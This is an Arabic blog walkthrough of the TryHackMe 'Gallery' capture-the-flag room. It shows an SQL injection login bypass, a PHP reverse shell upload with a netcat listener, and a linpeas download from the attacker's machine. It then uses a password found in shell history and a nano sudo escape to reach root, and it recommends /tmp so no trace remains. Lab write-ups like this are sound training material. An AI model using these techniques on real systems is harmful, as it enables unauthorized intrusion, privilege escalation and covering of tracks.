Search 🔎🖥️

TryHackMe|Gallery WriteUp\Walkthrough (Arabic)

بسم الله

اللي يبغى يشوف الحل مشروح فيديو يرجع للفيديو على قناتي باليوتيوب على هذا الرابط:



رابط التحدي:https://tryhackme.com/r/room/gallery666

====================================================

كلمة IP في كل الكوماندز اللي أكتبها تُستبدل بالـIP للمشين حقتكم على TryHackMe

أول حاجة نشغل الـmachine ونتأكد إننا اتصلنا بشبكة TryHackMe والاتصال مضبوط، بعدين نبدأ بأول خطوة للحل وهي إننا نسوي scan للشبكة باستخدام nmap

sudo nmap IP -vv

طلع معانا بورت 80 و 8080، نرجع نسوي Aggressive سكان على نفس هذه البورتات

sudo nmap IP -vv -A -p 80,8080

البورت 80 و 8080 كلها عليها Apache server

نروح للمتصفح ونزور البورتات، بورت 8080 تعطينا صفحة تسجيل دخول، أما بورت 80 عندنا الصفحة الرئيسية لأباتشي سيرفير. 

نرجع لصفحة تسجيل الدخول، ونشوف لو يضبط معاها SQL injection، واللي هو إننا ندخل في خانة اسم المستخدم 

' or '1'='1' -- -

ثم نحط أي كلمة سر، بعد كذا نسوي sign in، وبيضبط معانا، معناته إن هذه الصفحة vulnerable to SQLi. 

أول ما ندخل بيطلع معانا الصفحة الرئيسية وبداخلها ألبومات وصور. وبرضو في أعلى الصفحة باليسار بنلاحظ مكتوب Simple Image Gallery وهذا نوع من الـCMS، واللي هي Content Management Systems وهي أنظمة تساعد المستخدمين يسوون، ويديرون، ويعدلون على مواقع إنترنت، بدون ما يكون عندهم معرفة كبيرة بالبرمجة، أو حتى ما يكون عندهم معرفة إطلاقًا، مثال عليها WordPress. 

في الشريط الأزرق الغامق أعلى الصفحة في الموقع نضغط على Albums، ثم لما يفتح معانا صفحة الألبومات نضغط على Add New ونسميه أي اسم مثلا test، ثم قبل ما نكمل نرجع لجهازنا ونجهز الـshell، أنا استخدمت الـpentestmonkey php shell أخذتها من الموقع revshells وهو موقع ممتاز ويخليك تحصل على shell بسهولة ويجمع الأنواع بمكان واحد، المهم تأكدو إن العنوان هو عنوان الـVPN  لجهازكم، والبورت نفس ما تبغون. ننسخ الشيل ونرجع للجهاز نسوي ملف اسمه shell.php ونلصق فيه الكود. 

ثم نجهز الـ listener

nc -nlvp 4444

الحين نرجع للموقع ونروح للألبوم الجديد ونضغط عليه، ثم نضغط على upload، وعشان تنعرض كل الملفات، تحت في مستعرض الملفات بدل ما يكون Image Files نختار All Files

ثم نختار الشيل، بعد ما نرفعها نضغط عليها، هي بتكون معروضه في الموقع كصورة، فنفتحها وعلطول بيوصل لنا اتصال على جهازنا. 

 وبما إن الـvictim  جهاز نواته linux فجدا سهل إننا نسوي stabilization للـshell، ايش يعني؟ يعني نخليها متينة وما تقفل أول ما نضغط ctrl+c ونقدر نستخدم الأسهم و tab completion وكذا.

الخطوات كالتالي:

نشغل هذه الكوماند باستخدام python3 إذا ما ضبط عادي نجرب python

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

بعدين هذه الكوماند

export TERM=xterm

ثم نضغط على الكيبورد ctrl+z عشان نخلي الـshell ترجع للخلفية

الحين نجيبها لقدام باستخدام هذه الكوماند

stty raw -echo;fg

الحين صار معانا stable shell نقدر نستخدمها براحتنا بدون ما نخاف إنها تطير أو تطفشنا إذا جينا نمسح ونعدل بالكلمات. إذا رجعت لكم الـshell  ماهي منتظمة وبادية من نص السطر، بس شغلو أي كوماند مثل id وبترجع تضبط بإذن الله.

دخلنا على النظام كـwww-data، فنروح للـhome directory له وهو var/www/ وعرفنا هذا من خلال استعراضنا للملف etc/passwd/ 


cd /var/www

ثم نروح لـhtml، لأن بالعادة يكون هنا معلومات مفيدة

cd html

ls

عندنا مجلد gallery

cd gallery

ls

وبداخله مجموعة كبيرة من الملفات، وفيه ملفات مُلفتة موجودة مثل config.php، وبرضو مجلد database، وأيضا ملف initialize.php. 

نبدأ أول شيء بملف config.php ونستعرضه cat config.php، لكن ما لقينا فيه معلومة مهمة. نرجع لـdatabase

cd database

ls -a

لكن برضو ما بداخله شيء، نرجع للمجلد الرئيسي 

cd .. 

ثم نستعرض initialize 

cat initialize.php


بداخل هذا الملف لقينا المعلومات اللي نحتاجها عشان نسجل دخول على قاعدة البيانات الموجودة على النظام، كلمة السر، اسم المستخدم، اسم قاعدة البيانات، فالحين نقدر ندخل على قاعدة البيانات، لكن قبل كذا بنعدل الصفوف والأعمدة للتيرمينال عشان ما تحوس علينا مع طول الكوماند

أول شيء نفتح نافذة جديدة ونخلي مقاس الخط مثل اللي احنا شغالين عليها، ثم نشغل الكوماند 

stty -a

ونشوف كم قيمة الصفوف والأعمدة 


ونروح نسجل نفس القيمة على جهاز الضحية باستخدام هذه الكوماند

 stty rows 31; stty cols 134

الحين نسجل دخول لقاعدة البيانات باستخدام هذه الكوماند

mysql --user=gallery_user --password=***** gallery_db

ثم لما ندخل بيتغير عندي الـprompt إلى MariaDB gallery_db


أول شيء نشوف وش عندي جداول

show tables;


طلع معاي عدد من الجداول، اللي ممكن نلقى فيه معلومات مفيدة هو Users

select * form users;

طلع معاي فقط entry واحد لمستخدم اسمه Administrator، وكلمة السر موجودة ولكنها مشفرة

عشان نخرج من قاعدة البيانات 

exit;

ثم نروح لـhome ونشوف وش عندي مستخدمين

cd /home

ls

عندي مستخدمين وهم mike و ubuntu

cd mike 

ls -l

بنلقى بداخله user.txt ولكن للأسف ما نقدر نقرأه، اللي يقدر يقرأه هو mike، اللي بنسويه الحين إننا بنحاول نبحث عن طريقة تخلينا نستطيع نسجل دخول كـmike، وممكن نبحث بنفسنا عن طُرق نستغلها، أو ممكن نستخدم سكريبت يسهل علينا الموضوع، مثل linpeas.sh، وعشان ننقله للضحية نروح على المجلد اللي في جهازنا يحتوي على linpeas.sh ونشغل بايثون سيرفير

python3 -m http.server

وعلى جهاز الضحية نروح للـtmp ونحمل الملف هناك

طيب ليه اخترت الـtmp ؟؟

أول حاجة tmp هو ملف كل الملفات اللي فيه تُمسح تلقائيا عند إغلاق الجهاز، فمثلا لو كنت تشتغل في جهاز الضحية وفجأة تقفل، علطول بينمسح أي شيء حملته هناك على tmp ويصير ما يبقى لك أثر. 

ثاني حاجة، لما نشتغل على جهاز أفضل إننا نجعل ملفاتنا محفوظة في مكان واحد، لسهولة الوصول لها ولسهولة مسحها والتخلص منها، ويا سلام لو كان هذا المكان هو من نفسه يمسح اللي فيه لو تم إغلاق الجهاز بشكل مفاجئ. 

wget http://OpenVPN-IP:8000/linpeas.sh

ثم نغير صلاحياته لملف تشغيلي 

chmod +x linpeas.sh

ثم نشغله 

./linpeas.sh

في النتائج بنلاحظ عند الـhistory فيه كلمة دخلها المستخدم بعد ما استخدم الكوماند sudo -l، وهذه الكوماند تطلب كلمة السر عند استخدامها. 


فبننسخ كلمة السر، ونشوف إذا تضبط معانا لو استخدمناها وسجلنا دخول كـmike

su mike

ثم ندخل كلمة السر، وبكذا بنصير mike، نرجع لـ home

cd /home/mike 
 
cat user.txt 

وبكذا يكون حصلنا على أول فلاق ✨. 

باقي لنا الحين الـroot.txt، وعشان نقرأه نحتاج يكون عندنا صلاحيات، فبنشوف وش الكوماندز اللي يقدر mike ينفذها بصلاحيات رووت باستخدام sudo -l 


طلع إنو المستخدم mike يقدر يشغل السكريبت rootkit.sh بصلاحيات رووت بدون كلمة سر. بنستعرض السكريبت ونشوف وش يسوي

cat /opt/rootkit.sh


هذا السكريبت يسوي 4 أشياء، يا يعطيني رقم النسخة لـrkhunter، أو يسوي له تحديث، أو يعرض لي قائمة، أما آخر خيار فبيعرض لي ملف report.txt باستخدام nano، يعني باختصار بيكون عندي القدرة إني افتح nano بصلاحيات root عن طريق إني إذا شغلت السكريبت أدخل read. 

الحين نحتاج نبحث عن طريقة نستغل بها nano ونحصل على root shell، وفيه موقع ممتاز اسمه GTFObins، نروح له ونبحث nano. ثم تحت sudo بنشوف شارح لنا الطريقة، ننفذ 3 كوماندز، أول وحده ما بنستخدمها، لأننا ما بنشغل nano مباشرة باستخدام sudo، بل بنشغلها من داخل سكريبت مشغلينه بصلاحيات root، إذن فقط بنستخدم الكوماند 2 و3 . 


نرجع للتارقيت ونشغل السكريبت

sudo /bin/bash /opt/rootkit.sh

ثم لما يسألني اختار read

أول ما يفتح نافذة nano على الكيبورد نضغط ctrl + r ثم ctrl +x ثم reset; sh 1>&0 2>&0 ثم نضغط enter، وعلطول بيعطينا root shell، نضغط enter برضو أكثر من مرة، حتى تترتب معانا الشاشة، ثم نسوي spawn لـbash

/bin/bash -i 

عشان يصير أوضح المسارات والتعامل مع الـshell برضو يكون أسهل. 


بعدين نقرأ آخر فلاق

cd /root

cat root.txt

وبكذا يكون حصلنا على آخرفلاق وانتهينا من الحل ✨

هذه إجابات الأسئلة باستثناء كلمات السر والفلاقات:

Comments

Popular posts from this blog

TryHackMe|Blog WriteUp\Walkthrough (Arabic)

eJPTv2 Exam Review (Arabic)

TryHackMe|Blueprint WriteUp\Walkthrough (Arabic)